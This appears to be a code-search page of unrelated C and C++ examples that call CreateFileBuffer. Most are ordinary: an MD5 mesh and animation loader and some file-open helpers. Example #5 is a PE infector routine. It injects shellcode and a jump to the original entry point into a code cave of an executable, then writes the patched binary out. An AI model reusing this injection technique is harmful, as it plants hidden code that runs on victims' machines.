Example #1
0
	// 解析anim添加到anim列表中
	void md5Model::AddAnimation( const char * _szAnimFile)
	{
		if(this->m_nNumAnimation < ANIMATION_MAX)
		{
			owBuffer * pBuffer = CreateFileBuffer(_szAnimFile);
			assert(pBuffer);
			model::InitAnimModel(&this->m_animModels[m_nNumAnimation],pBuffer);
			m_nNumAnimation++;
		}
		else
		{
			assert(false);
			return;
		}
	}
Example #2
0
int ReOpenFileBuffered(const char *filename)
{
 int fd;

 /* Open the file */

 fd=open(filename,O_RDONLY);

 if(fd<0)
   {
    fprintf(stderr,"Cannot open file '%s' for reading [%s].\n",filename,strerror(errno));
    exit(EXIT_FAILURE);
   }

 CreateFileBuffer(fd,1);

 return(fd);
}
Example #3
0
int OpenFileBufferedAppend(const char *filename)
{
 int fd;

 /* Open the file */

 fd=open(filename,O_WRONLY|O_CREAT|O_APPEND,S_IRUSR|S_IWUSR|S_IRGRP|S_IROTH);

 if(fd<0)
   {
    fprintf(stderr,"Cannot open file '%s' for appending [%s].\n",filename,strerror(errno));
    exit(EXIT_FAILURE);
   }

 CreateFileBuffer(fd,-1);

 return(fd);
}
Example #4
0
int SlimMapFileWriteable(const char *filename)
{
 int fd;

 /* Open the file */

 fd=open(filename,O_RDWR);

 if(fd<0)
   {
    fprintf(stderr,"Cannot open file '%s' for reading and writing [%s].\n",filename,strerror(errno));
    exit(EXIT_FAILURE);
   }

 CreateFileBuffer(fd,0);

 return(fd);
}
Example #5
0
int main(int argc, char* argv[])
{
	void* lpBuffer = 0;
	unsigned long ulBuffer = CreateFileBuffer(argv[1], &lpBuffer);

	if (lpBuffer)
	{
		if (ulBuffer)
		{
			unsigned long ulCodeCave = 0;
			CodeCave sCodeCave = {0};


			if (ulCodeCave = ScanCodeCave(&sCodeCave, lpBuffer,ulBuffer,sizeof(ucShellCode)+10))
			{
				unsigned long ulOffset = 0;

				m_memcpy((void*)(sCodeCave.ulAddress), ucCallCode, sizeof(ucCallCode));
				ulOffset = sCodeCave.ulEntryPoint - (sCodeCave.ulVirtualAddress + sCodeCave.ulVirtualAddressOffset + sizeof(ucCallCode)) - 5;
				m_memcpy(&ucJMP[1],&ulOffset, sizeof(unsigned long));
				m_memcpy((void*)(sCodeCave.ulAddress + sizeof(ucCallCode)), ucJMP,sizeof(ucJMP));
				m_memcpy((void*)(sCodeCave.ulAddress + sizeof(ucCallCode) + sizeof(ucJMP)), ucShellCode, sizeof(ucShellCode));


				if (WriteFileBuffer("NTTITON.exe", lpBuffer,ulBuffer) == ulBuffer)
				{
					printf("Done\n");
				}

			}
			else
			{
				AddSection(lpBuffer,ulBuffer, sizeof(ucShellCode) + 10);
			}
		}
		VirtualFree(lpBuffer,ulBuffer,MEM_RELEASE);
	}
	return 0;
}
Example #6
0
	// 解析 并 创建mesh相关的 buffer object
	void md5Model::Init( const char * _szMeshFile )
	{
		owBuffer * pBuffer = CreateFileBuffer(_szMeshFile);
		assert(pBuffer);
		
		model::InitMeshModel( &this->m_meshModel, pBuffer);
		pBuffer->Release();
		// 初始化数据
		m_nNumAnimation = 0;
		m_iActivedAnimID = -1;
		// 分配meshbuffer
		this->m_nNumMeshes = m_meshModel.m_nNumMeshes;
		this->m_pMeshBuffers = new md5MeshBuffer[m_meshModel.m_nNumMeshes];
		// 为每个mesh创建相应的 buffer objects
		md5Mesh * pSubMesh = NULL;
		md5MeshBuffer * pSubMeshBuffer = NULL;
		for(int32_t meshIndex = 0;meshIndex < m_meshModel.m_nNumMeshes; ++meshIndex)
		{
			// 获取子mesh
			pSubMesh = m_meshModel.m_pMeshes + meshIndex;
			pSubMeshBuffer = this->m_pMeshBuffers + meshIndex;
			// 生成纹理
			owBuffer * imageBuffer = CreateFileBuffer(pSubMesh->m_szTexture);
			if(imageBuffer)
			{
				Image * image = Image::ImageFromPng(imageBuffer);
				if(image)
				{
					pSubMeshBuffer->m_pTexture = TexOGL::CreateTexWidthImage(image,true);
					image->Release();
				}
				imageBuffer->Release();
			}
			else
			{
				pSubMeshBuffer->m_pTexture = TexOGL::CreateChessTex();
			}
			// 创建VAO
			pSubMeshBuffer->m_pVertexArray = Graphics::VertexArray::CreateVertexArray();
			// 创建IBO
			uint32_t bufferSize = 0;
			uint8_t* bufferPtr = NULL;
			bufferSize = pSubMesh->m_nNumTriangles * sizeof(ivector3);
			bufferPtr = (uint8_t *)pSubMesh->m_pTriangles;
			pSubMeshBuffer->m_pIndexBuffer = Graphics::VertexBuffer::CreateBuffer(bufferPtr,bufferSize);
			// 创建UV
			owBuffer * pUVBuffer = GetUVBuffer(pSubMesh);
			bufferSize = pUVBuffer->Size();
			bufferPtr = (uint8_t*)pUVBuffer->GetBuffer();
			pSubMeshBuffer->m_pUVBuffer = Graphics::VertexBuffer::CreateBuffer(bufferPtr,bufferSize);
			pUVBuffer->Release();
			// 创建weight
			weight_struct * pWeightElements = new weight_struct[pSubMesh->m_nNumVertices];
			for(int32_t vertIndex = 0; vertIndex<pSubMesh->m_nNumVertices; ++vertIndex)
			{
				md5Vertex * pVert = pSubMesh->m_pVertices + vertIndex;
				md5Weight * pVertWeight = NULL;
				pWeightElements[vertIndex].m_nNumJointCount = pVert->m_nCount>4?4:pVert->m_nCount;

				for(int32_t w = 0; w<pVert->m_nCount && w<4; ++w)
				{
					pVertWeight = pSubMesh->m_pWeights + w + pVert->m_nStart;
					pWeightElements[vertIndex].m_vecJointBias[w] = pVertWeight->m_fBias;
					pWeightElements[vertIndex].m_vecJointIndices[w] = pVertWeight->m_iJointIndex;
				}
			}
			bufferSize = sizeof(weight_struct) * pSubMesh->m_nNumVertices;
			bufferPtr = (uint8_t *)pWeightElements;
			pSubMeshBuffer->m_pWeightBuffer = Graphics::VertexBuffer::CreateBuffer( bufferPtr, bufferSize );
			delete []pWeightElements;
			// 设设置 vao
			pSubMeshBuffer->m_pVertexArray->SetVertexBuffer(2,pSubMeshBuffer->m_pUVBuffer,2,0,0);
			pSubMeshBuffer->m_pVertexArray->SetVertexBufferI(3,pSubMeshBuffer->m_pWeightBuffer,1,sizeof(weight_struct),0,GL_INT);
			pSubMeshBuffer->m_pVertexArray->SetVertexBufferI(4,pSubMeshBuffer->m_pWeightBuffer,4,sizeof(weight_struct),sizeof(int),GL_INT);
			pSubMeshBuffer->m_pVertexArray->SetVertexBuffer(5,pSubMeshBuffer->m_pWeightBuffer,4,sizeof(weight_struct),sizeof(int)*5,GL_FLOAT);
			pSubMeshBuffer->m_pVertexArray->SetIndexBuffer(pSubMeshBuffer->m_pIndexBuffer);
		}
		// 计算逆矩阵
		uint32_t nNumJoints = this->m_meshModel.m_nNumJoints;
		this->m_pUniformBoneMatrices = new matrix_4x4[nNumJoints];
		this->m_pInverseBoneMatrices = new matrix_4x4[nNumJoints];
		for(uint32_t j = 0;j<nNumJoints;++j)
		{
			quat q = m_meshModel.m_pJoints[j].m_quaOrient;
			fvector3 offset = m_meshModel.m_pJoints[j].m_vecOffset;
			matrix_4x4 boneMat = glm::translate( matrix_4x4(1.0),offset) * glm::mat4_cast( q );
			// 求逆矩阵
			m_pInverseBoneMatrices[j] = glm::inverse( boneMat );
		}
		// 计算默认绑定骨骼
		for(int32_t meshIndex = 0;meshIndex < m_meshModel.m_nNumMeshes; ++meshIndex)
		{
			// 获取子mesh
			pSubMesh = m_meshModel.m_pMeshes + meshIndex;
			pSubMeshBuffer = this->m_pMeshBuffers + meshIndex;
			// 创建 buffer
			fvector3 * pBindVertices = new fvector3[ pSubMesh->m_nNumVertices ];
			for(int vertIdx = 0;vertIdx < pSubMesh->m_nNumVertices ;++vertIdx)
			{
				// 累积 weight bias 计算顶点
				glm::vec3 result = glm::vec3(0,0,0);
				md5Vertex* pVert = pSubMesh->m_pVertices + vertIdx;
				for(int weightIdx = pVert->m_nStart; weightIdx < pVert->m_nCount + pVert->m_nStart; ++weightIdx )
				{
					md5Weight* pWeight = pSubMesh->m_pWeights+weightIdx;
					uint32_t iJointIndex = pWeight->m_iJointIndex;
					glm::quat q = m_meshModel.m_pJoints[iJointIndex].m_quaOrient;
					glm::vec3 offset = m_meshModel.m_pJoints[iJointIndex].m_vecOffset;
					result += (offset + q * pWeight->m_vecOffset) * pWeight->m_fBias;
				}
				pBindVertices[vertIdx] = result;
			}
			pSubMeshBuffer->m_pBindposeVertexBuffer = Graphics::VertexBuffer::CreateBuffer( pBindVertices, pSubMesh->m_nNumVertices * sizeof(fvector3) );
			pSubMeshBuffer->m_pVertexArray->SetVertexBuffer(0,pSubMeshBuffer->m_pBindposeVertexBuffer,3,0,0);
			pSubMeshBuffer->m_nNumElement = pSubMesh->m_nNumTriangles * 3;
			delete []pBindVertices;
		}
	}